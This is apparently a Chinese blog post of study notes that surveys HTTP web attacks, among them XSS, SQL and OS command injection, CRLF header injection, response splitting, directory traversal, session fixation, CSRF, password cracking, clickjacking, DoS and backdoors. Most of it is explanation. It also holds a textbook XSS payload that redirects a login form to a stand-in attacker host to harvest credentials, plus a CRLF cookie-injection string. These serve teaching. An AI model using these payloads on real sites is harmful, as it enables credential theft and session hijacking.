HTTP中的Web攻击技术概述

声明:本人的所有博客皆为个人笔记,作为个人知识索引使用,因此在叙述上存在逻辑不通顺、跨度大等问题,希望理解。分享出来仅供大家学习翻阅,若有错误希望指出,感谢!

Web攻击技术

针对Web的攻击技术

来自互联网的攻击大多是冲着Web站点来的

HTTP不具备安全功能

  • 从整体上来看,HTTP就是一个通用的单纯协议机制,因此它具备较多优势,但是在安全性方面则成劣势
  • 开发者需要自行设计并开发认证及会话管理功能来满足Web应用的安全。而自行设计就意味着会出现各种形形色色的实现,其背后会隐藏着各种安全漏洞bug

在客户端即可篡改请求

  • 在Web应用中,从浏览器那接收到的HTTP请求的全部内容,都可以在客户端自由地变更、篡改。所以Web应用可能会接收到与预期数据不相同的内容。
  • 在HTTP请求报文内加载攻击代码,就能发起对Web应用的攻击。通过URL查询字段或表单、HTTP首部、Cookie 等途径把攻击代码传人,若这时Web应用存在安全漏洞,那内部信息就会遭到窃取,或被攻击者拿到管理权限

针对Web应用的攻击模式

对Web应用的攻击模式有以下两种

  • 主动攻击
  • 被动攻击
以服务器为目标的主动攻击

主动攻击是指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源

主动攻击模式里具有代表性的攻击是SQL注人攻击和OS命令注人攻击

以服务器为目标的被动攻击

被动攻击是指利用圈套策略执行攻击代码的攻击模式在被动攻击过程中,攻击者不直接对目标Web应用访问发起攻击

被动攻击具体流程
  1. 攻击者诱使用户触发已设置好的陷阱, 而陷阱会启动发送已嵌入攻击代码的HTTP请求

  2. 当用户不知不觉中招之后, 用户的浏览器或邮件客户端就会触发这个陷阱

  3. 中招后的用户浏览器 会把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用,运行攻击代码

  4. 执行完攻击代码, 存在安全漏洞的Web应用会成为攻击者的跳板,可能导致用户所持的Cookie等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果

被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造


利用用户的身份攻击企业内部网络

利用被动攻击,可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。只要用户踏入攻击者预先设好的陷阱,在用户能够访问到的网络范围内,即使是企业内网也同样会受到攻击

因输出值转义不完全引发的安全漏洞

实施Web应用的安全对策可大致分为以下两个部分:

  • 客户端验证
  • Web应用端验证
    • 输入值验证
    • 输出值转义

不适合将JavaScript 验证作为安全的防范对策,保留客户端验证只是为了尽早地辨识输入错误,起到提高UI体验的作用

Web应用端的输人值验证按Web应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策

从数据库或文件系统、HTML、邮件等输出Web应用处理的数据之际针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害

跨站脚本攻击XSS

  • 跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。
  • 动态创建的HTML部分有可能隐藏着安全漏洞

跨站脚本攻击有可能造成以下影响:

  • 利用虚假输入表单骗取用户个人信息
  • 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求
  • 显示伪造的文章或图片

通过在用户输入or地址栏URI处输入代码,从而获取用户账户、cookie等信息

例如在浏览器中输入以下uri来访问http://example.jp/login

http://example.jp/login?ID="><script>var%20f=document.getElementById("login");%20f.action="http://hackr.jp/pwget";%20f.method="get";</script><span%20s="

使用上述uri访问网站会使HTML源代码出现异常,表单中name为ID的标签被额外添加了内容

<!--%20是空格,在uri中被解析为%20-->
<form action="http://example.jp/login" method="post" id="login">
    ID:<input type="text" name="ID" value=""><script>var%20f=document.getElementById("login");%20f.action="http://hackr.jp/pwget";%20f.method="get";</script><span%20s="" />
</form>

上述代码利用uri中可以插入属性的特性,提前在ID输入标签中写入了代码文本,使浏览器将其解释成了JavaScript代码,从而修改了表单的目标地址,窃取用户输入的信息

SQL注入攻击

SQL注入是指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击。该安全隐患有可能引发极大的威胁,有时会直接导致个人信息及机密信息泄露

SQL注入攻击有可能造成以下影响:

  • 非法查看或篡改数据库内的数据
  • 规避认证
  • 执行和数据库服务器业务关联的程序等

SQL注入方式:

Web应用在使用数据库时通常采用组装SQL语句的方式,将部分用户输入与对应功能的SQL进行拼接。SQL注入则是攻击者将SQL语句改变成开发者想象不到的形式,以达到破坏结构的攻击。

OS命令注入攻击

OS命令注入攻击是指通过Web应用,执行非法的操作系统命令以达到攻击的目的。只要在能调用shell函数的地方就存在被攻击的风险

OS命令注入攻击可以向shell发送命令,让shell启动应用程序

HTTP首部注入攻击

HTTP首部注入攻击是指攻击者通过在响应首部字段内插入换行(%0D%0A),添加任意首部或主体的一种攻击

HTTP首部注入攻击可能会造成以下影响:

  • 设置任何Cookie信息
  • 重定向至任意URL
  • 显示任意的主体(HTTP响应截断攻击)

HTTP首部注入攻击案例:

对于部分使用Location首部字段的报文,攻击者利用URI中可以添加属性的特性,在最后一个属性末尾添加%0D%0A(%0D%0A在HTTP首部中被解释为换行),并添加其他任意首部字段

例如:为cat属性添加以下内容

123%0D%0ASet-Cookie:SID=123456789

则生成的报文首部为:

Location:http://example.com/?cat=123(%0D%0A换行)
Set-Cookie:SID=123456789

由此攻击者成功改变了客户端cookie

HTTP响应截断攻击

HTTP响应截断攻击是用在HTTP首部注入的一种攻击,攻击顺序相同,但要将两个%0D%0A并排插入,利用连续两个换行构造出HTTP首部与主体分隔所需的空行,从而显示伪造的主体,达到攻击的目的

例如:

Set-Cookie:UID=(%0D%0A换行符)
(%0D%0A换行符)
<html>之后要显示的内容</html><!--

利用这个攻击,已触发陷阱的用户浏览器会显示伪造的Web页面,再让用户输入自己的个人信息等,可达到与跨站脚本攻击相同的效果

目录遍历攻击

目录遍历攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。 这种攻击有时也称为路径遍历攻击。

通过Web应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用 …/ 等相对路径定位到/etc/passed等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来,就有可能非法浏览、篡改或删除Web服务器上的文件

因设置/设计缺陷引发安全漏洞

强制浏览

强制浏览安全漏洞是指,从安置在Web服务器公开目录下的文件中,浏览那些原本非自愿公开的文件

强制浏览可能会造成以下影响:

  • 泄露顾客的个人信息等重要情报
  • 泄露原本需要具有访问权限的用户才可查阅的信息内容
  • 泄露未外连到外界的文件

对那些原本不愿公开的文件,为了保证安全会隐蔽其URL。可一旦知道了那些URL,也就意味着可浏览URL对应的文件

  • 文件目录一览:

    通过指定文件目录名称,即可在文件一览中看到显示的文件名

  • 容易被推测的文件名及目录名

  • 备份文件:

    由编辑软件自动生成的备份文件无执行权限,有可能直接以源代码形式显示

  • 经认证才可显示的文件:

    直接通过URL访问原本必须经过认证才能在Web页面上使用的文件(HTML文件、图片、PDF等文档、CSS以及其他数据等)

不正确的错误消息处理

不正确的错误消息处理的安全漏洞是指,Web应用的错误信息内包含对攻击者有用的信息

与Web应用有关的主要错误信息如下

  • Web应用抛出的错误信息
  • 数据库等系统抛出的错误信息

会话劫持

会话劫持是指攻击者通过某种手段拿到了用户的
会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的。

具备认证功能的Web应用,使用会话ID的会话管理机制,作为管
理认证状态的主流方式。会话ID中记录客户端的Cookie等信息,服务
器端将会话ID与认证状态进行一对一匹配管理。

下面列举了几种攻击者可获得会话ID的途径。
●通过非正规的生成方法推测会话ID
●通过窃听或XSS攻击盗取会话ID
●通过会话固定攻击( Session Fixation)强行获取会话ID

会话固定攻击

会话固定攻击会强制用户使用攻击者指定的会话ID,属于被动攻击

大体流程如下:

  1. 攻击者先访问Web网站拿到会话ID,此时该ID未认证
  2. 攻击者设置好陷阱强制用户A使用该会话ID
  3. 用户A使用该会话ID通过认证,该ID此时状态为已认证
  4. 攻击者使用该ID访问网站,以用户A的身份成功登录网站

跨站点请求伪造

跨站点请求伪造攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击

跨站点请求伪造有可能会造成以下等影响:

  • 利用已通过认证的用户权限更新设定信息等
  • 利用已通过认证的用户权限购买商品
  • 利用已通过认证的用户权限在留言板上发表言论

其他安全漏洞

密码破解

密码破解攻击即算出密码,突破认证。攻击不仅限于Web应用,还包括其他的系统

密码破解有以下两种手段:

  • 通过网络的密码试错
  • 对已加密密码的破解( 指攻击者入侵系统,已获得加密或散列处理的密码数据的情况)

除去突破认证的攻击手段,还有SQL注入攻击逃避认证,跨站脚本攻击窃取密码信息等方法

通过网络进行密码试错

对Web应用提供的认证功能,通过网络尝试候选密码进行的一种攻击。主要有以下两种方式:

  • 穷举法
  • 字典攻击
穷举法

穷举法是指对所有密钥集合构成的密钥空间进行穷举

因为穷举法会尝试所有的候选密码,所以是一种必然能够破解密码的攻击。但是,当密钥空间很庞大时,解密可能需要花费数年,甚至千年的时间,因此从现实角度考量,攻击是失败的

字典攻击

字典攻击是指利用事先收集好的候选密码(经过各种组合方式后存人字典),枚举字典中的密码,尝试通过认证的一种攻击手法

与穷举法相比,由于需要尝试的候选密码较少,意味着攻击耗费的时间比较短。但是,如果字典中没有正确的密码,那就无法破解成功。因此攻击的成败取决于字典的内容

对已加密密码的破解

Web应用在保存密码时,一般不会直接以明文保存,通过散列函数做散列处理或加salt的手段对要保存的密码本身加密。那即使攻击者使用某些手段窃取密码数据,如果想要真正使用这些密码,则必须先通过解码等手段,把加密处理的密码还原成明文形式

从加密过的数据中导出明文通常有以下几种方法:

  • 通过穷举法·字典攻击进行类推
  • 彩虹表
  • 拿到密钥
  • 加密算法的漏洞
通过穷举法·字典攻击进行类推

针对密码使用散列函数进行加密处理的情况,采用和穷举法或字典攻击相同的手法,尝试调用相同的散列函数加密候选密码,然后把计算出的散列值与目标散列值匹配,类推出密码

彩虹表

彩虹表是由明文密码及与之对应的散列值构成的一张数据库表, 是一种通过事先制作庞大的彩虹表,可在穷举法·字典攻击等实际破解过程中缩短消耗时间的技巧。从彩虹表内搜索散列值就可以推导出对应的明文密码

拿到密钥

使用共享密钥加密方式对密码数据进行加密处理的情况下,如果能通过某种手段拿到加密使用的密钥,也就可以对密码数据解密了

加密算法的漏洞

考虑到加密算法本身可能存在的漏洞,利用该漏洞尝试解密也是一种可行的方法

点击劫持

点击劫持是指利用透明的按钮或链接做成陷阱,覆盖在Web页面之上。然后诱使用户在不知情的情况下,点击那个链接
访问内容的一种攻击手段。 这种行为又称为界面伪装

DoS攻击

DoS攻击是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS攻击的对
象不仅限于Web网站,还包括网络设备及服务器等

主要有以下两种DoS攻击方式:

  • 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈停止状态
  • 通过攻击安全漏洞使服务停止

集中利用访问请求的DoS攻击,单纯来讲就是发送大量的合法请求。服务器很难分辨何为正常请求,何为攻击请求,因此很难防止DoS攻击

多台计算机发起的DoS攻击称为DDoS攻击。DDoS攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板

后门程序

后门程序是指开发设置的隐藏入口,可不按正常步骤使用受限功能。利用后门程序就能够使用原本受限制的功能

通常的后门程序分为以下3种类型:

  • 开发阶段作为Debug调用的后门程序
  • 开发者为了自身利益植入的后门程序
  • 攻击者通过某种方法设置的后门程序

可通过监视进程和通信的状态发现被植入的后门程序。但设定在Web应用中的后门程序,由于和正常使用时区别不大,通常很难发现

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值